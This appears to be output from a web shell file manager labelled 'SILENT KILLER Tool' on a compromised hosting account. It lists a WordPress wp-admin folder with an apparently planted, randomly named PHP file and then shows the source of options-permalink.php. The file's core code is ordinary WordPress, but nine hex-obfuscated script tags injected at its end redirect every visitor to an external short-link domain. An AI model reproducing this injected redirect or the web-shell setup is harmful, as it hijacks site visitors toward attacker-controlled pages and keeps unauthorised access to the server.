Current Path: > home > > branxxtp > affiliate.credithike.com > wp-admin
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| css | Directory | - | - | |
| images | Directory | - | - | |
| includes | Directory | - | - | |
| js | Directory | - | - | |
| maint | Directory | - | - | |
| network | Directory | - | - | |
| user | Directory | - | - | |
| .htaccess | File | 2042 bytes | February 07 2026 02:49:05. | |
| GgcuNFm6w7v.php | File | 36565 bytes | December 17 2025 10:40:18. | |
| about.php | File | 17245 bytes | December 03 2025 17:46:43. | |
| admin-ajax.php | File | 6780 bytes | July 16 2024 17:37:43. | |
| admin-footer.php | File | 4453 bytes | November 15 2024 06:02:47. | |
| admin-functions.php | File | 479 bytes | April 18 2025 00:32:40. | |
| admin-header.php | File | 9336 bytes | April 18 2025 00:32:40. | |
| admin-post.php | File | 3655 bytes | April 18 2025 00:32:40. | |
| admin.php | File | 14280 bytes | December 03 2025 17:46:43. | |
| async-upload.php | File | 7238 bytes | December 03 2025 17:46:43. | |
| authorize-application.php | File | 11969 bytes | September 14 2023 10:24:20. | |
| comment.php | File | 13256 bytes | July 16 2024 17:37:43. | |
| contribute.php | File | 7632 bytes | December 03 2025 17:46:43. | |
| credits.php | File | 6117 bytes | December 03 2025 17:46:43. | |
| custom-background.php | File | 489 bytes | April 18 2025 00:32:40. | |
| custom-header.php | File | 499 bytes | April 18 2025 00:32:40. | |
| customize.php | File | 12890 bytes | December 03 2025 17:46:43. | |
| edit-comments.php | File | 16348 bytes | December 03 2025 17:46:43. | |
| edit-form-advanced.php | File | 31146 bytes | April 18 2025 00:32:40. | |
| edit-form-blocks.php | File | 16566 bytes | December 03 2025 17:46:43. | |
| edit-form-comment.php | File | 10177 bytes | April 18 2025 00:32:40. | |
| edit-link-form.php | File | 7973 bytes | April 18 2025 00:32:40. | |
| edit-tag-form.php | File | 12322 bytes | April 18 2025 00:32:40. | |
| edit-tags.php | File | 24167 bytes | February 11 2025 19:57:13. | |
| edit.php | File | 21586 bytes | November 15 2024 06:02:46. | |
| erase-personal-data.php | File | 9139 bytes | July 16 2024 17:37:43. | |
| error_log | File | 87448 bytes | February 12 2026 02:33:53. | |
| export-personal-data.php | File | 9575 bytes | July 16 2024 17:37:43. | |
| export.php | File | 12907 bytes | July 16 2024 17:37:43. | |
| freedoms.php | File | 6535 bytes | December 03 2025 17:46:43. | |
| import.php | File | 9400 bytes | April 18 2025 00:32:40. | |
| index.htm | File | 1104 bytes | January 26 2026 05:13:23. | |
| index.html | File | 1104 bytes | January 26 2026 05:13:23. | |
| index.php | File | 1104 bytes | January 26 2026 05:13:23. | |
| install-helper.php | File | 8595 bytes | November 21 2022 00:40:16. | |
| install.php | File | 19811 bytes | December 03 2025 17:46:43. | |
| link-add.php | File | 2568 bytes | April 18 2025 00:32:40. | |
| link-manager.php | File | 5995 bytes | April 18 2025 00:32:40. | |
| link-parse-opml.php | File | 4418 bytes | December 03 2025 17:46:43. | |
| link.php | File | 4591 bytes | July 16 2024 17:37:43. | |
| load-scripts.php | File | 2070 bytes | November 15 2024 06:02:47. | |
| load-styles.php | File | 2995 bytes | November 15 2024 06:02:47. | |
| media-new.php | File | 4910 bytes | December 03 2025 17:46:43. | |
| media-upload.php | File | 5302 bytes | April 18 2025 00:32:40. | |
| media.php | File | 2453 bytes | July 16 2024 17:37:43. | |
| menu-header.php | File | 11678 bytes | April 18 2025 00:32:40. | |
| menu.php | File | 19514 bytes | December 03 2025 17:46:43. | |
| moderation.php | File | 1941 bytes | February 06 2020 17:03:12. | |
| ms-admin.php | File | 1830 bytes | February 06 2020 17:03:12. | |
| ms-delete-site.php | File | 6247 bytes | December 03 2025 17:46:43. | |
| ms-edit.php | File | 1850 bytes | February 06 2020 17:03:12. | |
| ms-options.php | File | 1863 bytes | July 16 2024 17:37:43. | |
| ms-sites.php | File | 1849 bytes | February 06 2020 17:03:12. | |
| ms-themes.php | File | 1851 bytes | February 06 2020 17:03:12. | |
| ms-upgrade-network.php | File | 1853 bytes | February 06 2020 17:03:12. | |
| ms-users.php | File | 1849 bytes | February 06 2020 17:03:12. | |
| my-sites.php | File | 6492 bytes | September 06 2023 04:56:26. | |
| nav-menus.php | File | 50964 bytes | December 03 2025 17:46:43. | |
| network.php | File | 7141 bytes | July 16 2024 17:37:43. | |
| options-discussion.php | File | 17916 bytes | December 03 2025 17:46:43. | |
| options-general.php | File | 23786 bytes | December 03 2025 17:46:43. | |
| options-head.php | File | 2255 bytes | April 18 2025 00:32:40. | |
| options-media.php | File | 8149 bytes | December 03 2025 17:46:43. | |
| options-permalink.php | File | 23345 bytes | December 03 2025 17:46:43. | |
| options-privacy.php | File | 11824 bytes | April 18 2025 00:32:40. | |
| options-reading.php | File | 11793 bytes | December 03 2025 17:46:43. | |
| options-writing.php | File | 10942 bytes | December 03 2025 17:46:43. | |
| options.php | File | 15564 bytes | December 03 2025 17:46:43. | |
| php.ini | File | 105 bytes | December 17 2025 10:40:18. | |
| plugin-editor.php | File | 15716 bytes | December 03 2025 17:46:43. | |
| plugin-install.php | File | 8758 bytes | February 20 2024 17:57:06. | |
| plugins.php | File | 30724 bytes | April 18 2025 00:32:40. | |
| post-new.php | File | 4402 bytes | July 16 2024 17:37:43. | |
| post.php | File | 11908 bytes | December 03 2025 17:46:43. | |
| press-this.php | File | 4030 bytes | February 27 2024 07:05:08. | |
| privacy-policy-guide.php | File | 5390 bytes | November 23 2023 04:14:24. | |
| privacy.php | File | 4473 bytes | December 03 2025 17:46:43. | |
| profile.php | File | 1917 bytes | February 06 2020 17:03:12. | |
| revision.php | File | 7470 bytes | December 03 2025 17:46:43. | |
| setup-config.php | File | 17904 bytes | April 18 2025 00:32:40. | |
| site-editor.php | File | 13905 bytes | December 03 2025 17:46:43. | |
| site-health-info.php | File | 5707 bytes | April 18 2025 00:32:40. | |
| site-health.php | File | 12082 bytes | December 03 2025 17:46:43. | |
| term.php | File | 3883 bytes | June 02 2022 03:44:10. | |
| theme-editor.php | File | 18913 bytes | December 03 2025 17:46:43. | |
| theme-install.php | File | 25579 bytes | December 03 2025 17:46:43. | |
| themes.php | File | 50709 bytes | December 03 2025 17:46:43. | |
| tools.php | File | 5148 bytes | February 23 2023 21:08:22. | |
| update-core.php | File | 48173 bytes | December 03 2025 17:46:43. | |
| update.php | File | 13092 bytes | January 31 2024 00:53:12. | |
| upgrade-functions.php | File | 341 bytes | February 06 2020 17:03:12. | |
| upgrade.php | File | 8041 bytes | December 03 2025 17:46:43. | |
| upload.php | File | 16893 bytes | December 03 2025 17:46:43. | |
| user-edit.php | File | 42962 bytes | December 03 2025 17:46:43. | |
| user-new.php | File | 26257 bytes | April 18 2025 00:32:40. | |
| users.php | File | 25480 bytes | December 03 2025 17:46:43. | |
| widgets-form-blocks.php | File | 6876 bytes | December 03 2025 17:46:43. | |
| widgets-form.php | File | 21353 bytes | December 03 2025 17:46:43. | |
| widgets.php | File | 2746 bytes | March 23 2022 05:29:04. |
<?php
/**
* Permalink Settings Administration Screen.
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}
// Used in the HTML title tag.
$title = __( 'Permalink Settings' );
$parent_file = 'options-general.php';
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => '<p>' . __( 'Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change — hence the name permalink.' ) . '</p>' .
'<p>' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '</p>' .
'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
)
);
get_current_screen()->add_help_tab(
array(
'id' => 'permalink-settings',
'title' => __( 'Permalink Settings' ),
'content' => '<p>' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '</p>' .
'<p>' . sprintf(
/* translators: %s: Percent sign (%). */
__( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by %s) will also appear in the custom structure field and your path can be further modified there.' ),
'<code>%</code>'
) . '</p>' .
'<p>' . sprintf(
/* translators: 1: %category%, 2: %tag% */
__( 'When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes %1$s or %2$s.' ),
'<code>%category%</code>',
'<code>%tag%</code>'
) . '</p>' .
'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
)
);
get_current_screen()->add_help_tab(
array(
'id' => 'custom-structures',
'title' => __( 'Custom Structures' ),
'content' => '<p>' . __( 'The Optional fields let you customize the “category” and “tag” base names that will appear in archive URLs. For example, the page listing all posts in the “Uncategorized” category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.' ) . '</p>' .
'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
)
);
$help_sidebar_content = '<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-permalinks-screen/">Documentation on Permalinks Settings</a>' ) . '</p>' .
'<p>' . __( '<a href="https://wordpress.org/documentation/article/customize-permalinks/">Documentation on Using Permalinks</a>' ) . '</p>';
if ( $is_nginx ) {
$help_sidebar_content .= '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/server/web-server/nginx/">Documentation on Nginx configuration</a>.' ) . '</p>';
}
$help_sidebar_content .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>';
get_current_screen()->set_help_sidebar( $help_sidebar_content );
unset( $help_sidebar_content );
$home_path = get_home_path();
$iis7_permalinks = iis7_supports_permalinks();
$permalink_structure = get_option( 'permalink_structure' );
$index_php_prefix = '';
$blog_prefix = '';
if ( ! got_url_rewrite() ) {
$index_php_prefix = '/index.php';
}
/*
* In a subdirectory configuration of multisite, the `/blog` prefix is used by
* default on the main site to avoid collisions with other sites created on that
* network. If the `permalink_structure` option has been changed to remove this
* base prefix, WordPress core can no longer account for the possible collision.
*/
if ( is_multisite() && ! is_subdomain_install() && is_main_site()
&& str_starts_with( $permalink_structure, '/blog/' )
) {
$blog_prefix = '/blog';
}
$category_base = get_option( 'category_base' );
$tag_base = get_option( 'tag_base' );
$structure_updated = false;
$htaccess_update_required = false;
if ( isset( $_POST['permalink_structure'] ) || isset( $_POST['category_base'] ) ) {
check_admin_referer( 'update-permalink' );
if ( isset( $_POST['permalink_structure'] ) ) {
if ( isset( $_POST['selection'] ) && 'custom' !== $_POST['selection'] ) {
$permalink_structure = $_POST['selection'];
} else {
$permalink_structure = $_POST['permalink_structure'];
}
if ( ! empty( $permalink_structure ) ) {
$permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) );
if ( $index_php_prefix && $blog_prefix ) {
$permalink_structure = $index_php_prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure );
} else {
$permalink_structure = $blog_prefix . $permalink_structure;
}
}
$permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure );
$wp_rewrite->set_permalink_structure( $permalink_structure );
$structure_updated = true;
}
if ( isset( $_POST['category_base'] ) ) {
$category_base = $_POST['category_base'];
if ( ! empty( $category_base ) ) {
$category_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $category_base ) );
}
$wp_rewrite->set_category_base( $category_base );
}
if ( isset( $_POST['tag_base'] ) ) {
$tag_base = $_POST['tag_base'];
if ( ! empty( $tag_base ) ) {
$tag_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $tag_base ) );
}
$wp_rewrite->set_tag_base( $tag_base );
}
}
if ( $iis7_permalinks ) {
if ( ( ! file_exists( $home_path . 'web.config' )
&& win_is_writable( $home_path ) ) || win_is_writable( $home_path . 'web.config' )
) {
$writable = true;
} else {
$writable = false;
}
} elseif ( $is_nginx || $is_caddy ) {
$writable = false;
} else {
if ( ( ! file_exists( $home_path . '.htaccess' )
&& is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' )
) {
$writable = true;
} else {
$writable = false;
$existing_rules = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) );
$new_rules = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) );
$htaccess_update_required = ( $new_rules !== $existing_rules );
}
}
$using_index_permalinks = $wp_rewrite->using_index_permalinks();
if ( $structure_updated ) {
$message = __( 'Permalink structure updated.' );
if ( ! is_multisite() && $permalink_structure && ! $using_index_permalinks ) {
if ( $iis7_permalinks ) {
if ( ! $writable ) {
$message = sprintf(
/* translators: %s: web.config */
__( 'You should update your %s file now.' ),
'<code>web.config</code>'
);
} else {
$message = sprintf(
/* translators: %s: web.config */
__( 'Permalink structure updated. Remove write access on %s file now!' ),
'<code>web.config</code>'
);
}
} elseif ( ! $is_nginx && ! $is_caddy && $htaccess_update_required && ! $writable ) {
$message = sprintf(
/* translators: %s: .htaccess */
__( 'You should update your %s file now.' ),
'<code>.htaccess</code>'
);
}
}
if ( ! get_settings_errors() ) {
add_settings_error( 'general', 'settings_updated', $message, 'success' );
}
set_transient( 'settings_errors', get_settings_errors(), 30 ); // 30 seconds.
wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) );
exit;
}
flush_rewrite_rules();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>
<form name="form" action="options-permalink.php" method="post">
<?php wp_nonce_field( 'update-permalink' ); ?>
<p>
<?php
printf(
/* translators: %s: Documentation URL. */
__( 'WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="%s">number of tags are available</a>, and here are some examples to get you started.' ),
__( 'https://wordpress.org/documentation/article/customize-permalinks/' )
);
?>
</p>
<?php
if ( is_multisite() && ! is_subdomain_install() && is_main_site()
&& str_starts_with( $permalink_structure, '/blog/' )
) {
$permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure );
$category_base = preg_replace( '|^/?blog|', '', $category_base );
$tag_base = preg_replace( '|^/?blog|', '', $tag_base );
}
$url_base = home_url( $blog_prefix . $index_php_prefix );
$default_structures = array(
array(
'id' => 'plain',
'label' => __( 'Plain' ),
'value' => '',
'example' => home_url( '/?p=123' ),
),
array(
'id' => 'day-name',
'label' => __( 'Day and name' ),
'value' => $index_php_prefix . '/%year%/%monthnum%/%day%/%postname%/',
'example' => $url_base . '/' . gmdate( 'Y/m/d' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
),
array(
'id' => 'month-name',
'label' => __( 'Month and name' ),
'value' => $index_php_prefix . '/%year%/%monthnum%/%postname%/',
'example' => $url_base . '/' . gmdate( 'Y/m' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
),
array(
'id' => 'numeric',
'label' => __( 'Numeric' ),
'value' => $index_php_prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%',
'example' => $url_base . '/' . _x( 'archives', 'sample permalink base' ) . '/123',
),
array(
'id' => 'post-name',
'label' => __( 'Post name' ),
'value' => $index_php_prefix . '/%postname%/',
'example' => $url_base . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
),
);
$default_structure_values = wp_list_pluck( $default_structures, 'value' );
$available_tags = array(
/* translators: %s: Permalink structure tag. */
'year' => __( '%s (The year of the post, four digits, for example 2004.)' ),
/* translators: %s: Permalink structure tag. */
'monthnum' => __( '%s (Month of the year, for example 05.)' ),
/* translators: %s: Permalink structure tag. */
'day' => __( '%s (Day of the month, for example 28.)' ),
/* translators: %s: Permalink structure tag. */
'hour' => __( '%s (Hour of the day, for example 15.)' ),
/* translators: %s: Permalink structure tag. */
'minute' => __( '%s (Minute of the hour, for example 43.)' ),
/* translators: %s: Permalink structure tag. */
'second' => __( '%s (Second of the minute, for example 33.)' ),
/* translators: %s: Permalink structure tag. */
'post_id' => __( '%s (The unique ID of the post, for example 423.)' ),
/* translators: %s: Permalink structure tag. */
'postname' => __( '%s (The sanitized post title (slug).)' ),
/* translators: %s: Permalink structure tag. */
'category' => __( '%s (Category slug. Nested sub-categories appear as nested directories in the URL.)' ),
/* translators: %s: Permalink structure tag. */
'author' => __( '%s (A sanitized version of the author name.)' ),
);
/**
* Filters the list of available permalink structure tags on the Permalinks settings page.
*
* @since 4.9.0
*
* @param string[] $available_tags An array of key => value pairs of available permalink structure tags.
*/
$available_tags = apply_filters( 'available_permalink_structure_tags', $available_tags );
/* translators: %s: Permalink structure tag. */
$tag_added = __( '%s added to permalink structure' );
/* translators: %s: Permalink structure tag. */
$tag_removed = __( '%s removed from permalink structure' );
/* translators: %s: Permalink structure tag. */
$tag_already_used = __( '%s (already used in permalink structure)' );
?>
<h2 class="title"><?php _e( 'Common Settings' ); ?></h2>
<p>
<?php
printf(
/* translators: %s: %postname% */
__( 'Select the permalink structure for your website. Including the %s tag makes links easy to understand, and can help your posts rank higher in search engines.' ),
'<code>%postname%</code>'
);
?>
</p>
<table class="form-table permalink-structure" role="presentation">
<tbody>
<?php $permalink_structure_title = __( 'Permalink structure' ); ?>
<tr>
<th scope="row"><?php echo $permalink_structure_title; ?></th>
<td>
<fieldset class="structure-selection">
<legend class="screen-reader-text"><?php echo $permalink_structure_title; ?></legend>
<?php foreach ( $default_structures as $input ) : ?>
<div class="row">
<input id="permalink-input-<?php echo esc_attr( $input['id'] ); ?>"
name="selection" aria-describedby="permalink-<?php echo esc_attr( $input['id'] ); ?>"
type="radio" value="<?php echo esc_attr( $input['value'] ); ?>"
<?php checked( $input['value'], $permalink_structure ); ?>
/>
<div>
<label for="permalink-input-<?php echo esc_attr( $input['id'] ); ?>">
<?php echo esc_html( $input['label'] ); ?>
</label>
<p>
<code id="permalink-<?php echo esc_attr( $input['id'] ); ?>">
<?php echo esc_html( $input['example'] ); ?>
</code>
</p>
</div>
</div><!-- .row -->
<?php endforeach; ?>
<div class="row">
<input id="custom_selection"
name="selection" type="radio" value="custom"
<?php checked( ! in_array( $permalink_structure, $default_structure_values, true ) ); ?>
/>
<div>
<label for="custom_selection"><?php _e( 'Custom Structure' ); ?></label>
<p>
<label for="permalink_structure" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Customize permalink structure by selecting available tags' );
?>
</label>
<span class="code">
<code id="permalink-custom"><?php echo esc_url( $url_base ); ?></code>
<input name="permalink_structure" id="permalink_structure"
type="text" value="<?php echo esc_attr( $permalink_structure ); ?>"
aria-describedby="permalink-custom" class="regular-text code"
/>
</span>
</p>
<div class="available-structure-tags hide-if-no-js">
<div id="custom_selection_updated" aria-live="assertive" class="screen-reader-text"></div>
<?php if ( ! empty( $available_tags ) ) : ?>
<fieldset>
<legend><?php _e( 'Available tags:' ); ?></legend>
<ul role="list">
<?php foreach ( $available_tags as $tag => $explanation ) : ?>
<li>
<button type="button"
class="button button-secondary"
aria-label="<?php echo esc_attr( sprintf( $explanation, $tag ) ); ?>"
data-added="<?php echo esc_attr( sprintf( $tag_added, $tag ) ); ?>"
data-removed="<?php echo esc_attr( sprintf( $tag_removed, $tag ) ); ?>"
data-used="<?php echo esc_attr( sprintf( $tag_already_used, $tag ) ); ?>">
<?php echo '%' . esc_html( $tag ) . '%'; ?>
</button>
</li>
<?php endforeach; ?>
</ul>
</fieldset>
<?php endif; ?>
</div><!-- .available-structure-tags -->
</div>
</div><!-- .row -->
</fieldset><!-- .structure-selection -->
</td>
</tr>
</tbody>
</table>
<h2 class="title"><?php _e( 'Optional' ); ?></h2>
<p>
<?php
printf(
/* translators: %s: Placeholder that must come at the start of the URL. */
__( 'If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.' ),
$url_base
);
?>
</p>
<table class="form-table" role="presentation">
<tr>
<th>
<label for="category_base">
<?php /* translators: Prefix for category permalinks. */ _e( 'Category base' ); ?>
</label>
</th>
<td>
<?php echo $blog_prefix; ?>
<input name="category_base" id="category_base" type="text"
value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code"
/>
</td>
</tr>
<tr>
<th>
<label for="tag_base"><?php _e( 'Tag base' ); ?></label>
</th>
<td>
<?php echo $blog_prefix; ?>
<input name="tag_base" id="tag_base" type="text"
value="<?php echo esc_attr( $tag_base ); ?>" class="regular-text code"
/>
</td>
</tr>
<?php do_settings_fields( 'permalink', 'optional' ); ?>
</table>
<?php do_settings_sections( 'permalink' ); ?>
<?php submit_button(); ?>
</form>
<?php if ( ! is_multisite() ) : ?>
<?php
if ( $iis7_permalinks ) :
if ( isset( $_POST['submit'] ) && $permalink_structure && ! $using_index_permalinks && ! $writable ) :
if ( file_exists( $home_path . 'web.config' ) ) :
?>
<p id="iis-description-a">
<?php
printf(
/* translators: 1: web.config, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A, 5: Element code. */
__( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. This is the URL rewrite rule you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this rule inside of the %5$s element in %1$s file.' ),
'<code>web.config</code>',
__( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ),
'<kbd>Ctrl + A</kbd>',
'<kbd>⌘ + A</kbd>',
'<code>/<configuration>/<system.webServer>/<rewrite>/<rules></code>'
);
?>
</p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field( 'update-permalink' ); ?>
<p>
<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
<textarea rows="9" class="large-text readonly"
name="rules" id="rules" readonly="readonly"
aria-describedby="iis-description-a"
><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea>
</p>
</form>
<p>
<?php
printf(
/* translators: %s: web.config */
__( 'If you temporarily make your %s file writable to generate rewrite rules automatically, do not forget to revert the permissions after the rule has been saved.' ),
'<code>web.config</code>'
);
?>
</p>
<?php else : ?>
<p id="iis-description-b">
<?php
printf(
/* translators: 1: Documentation URL, 2: web.config, 3: Ctrl + A, 4: ⌘ + A */
__( '<strong>Error:</strong> The root directory of your site is not <a href="%1$s">writable</a>, so creating a file automatically was not possible. This is the URL rewrite rule you should have in your %2$s file. Create a new file called %2$s in the root directory of your site. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this code into the %2$s file.' ),
__( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ),
'<code>web.config</code>',
'<kbd>Ctrl + A</kbd>',
'<kbd>⌘ + A</kbd>'
);
?>
</p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field( 'update-permalink' ); ?>
<p>
<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
<textarea rows="18" class="large-text readonly"
name="rules" id="rules" readonly="readonly"
aria-describedby="iis-description-b"
><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules( true ) ); ?></textarea>
</p>
</form>
<p>
<?php
printf(
/* translators: %s: web.config */
__( 'If you temporarily make your site’s root directory writable to generate the %s file automatically, do not forget to revert the permissions after the file has been created.' ),
'<code>web.config</code>'
);
?>
</p>
<?php endif; // End if 'web.config' exists. ?>
<?php endif; // End if $_POST['submit'] && ! $writable. ?>
<?php else : ?>
<?php if ( $permalink_structure && ! $using_index_permalinks && ! $writable && $htaccess_update_required ) : ?>
<p id="htaccess-description">
<?php
printf(
/* translators: 1: .htaccess, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A */
__( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. These are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all.' ),
'<code>.htaccess</code>',
__( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ),
'<kbd>Ctrl + A</kbd>',
'<kbd>⌘ + A</kbd>'
);
?>
</p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field( 'update-permalink' ); ?>
<p>
<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
<textarea rows="8" class="large-text readonly"
name="rules" id="rules" readonly="readonly"
aria-describedby="htaccess-description"
><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea>
</p>
</form>
<?php endif; // End if ! $writable && $htaccess_update_required. ?>
<?php endif; // End if $iis7_permalinks. ?>
<?php endif; // End if ! is_multisite(). ?>
</div><!-- .wrap -->
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool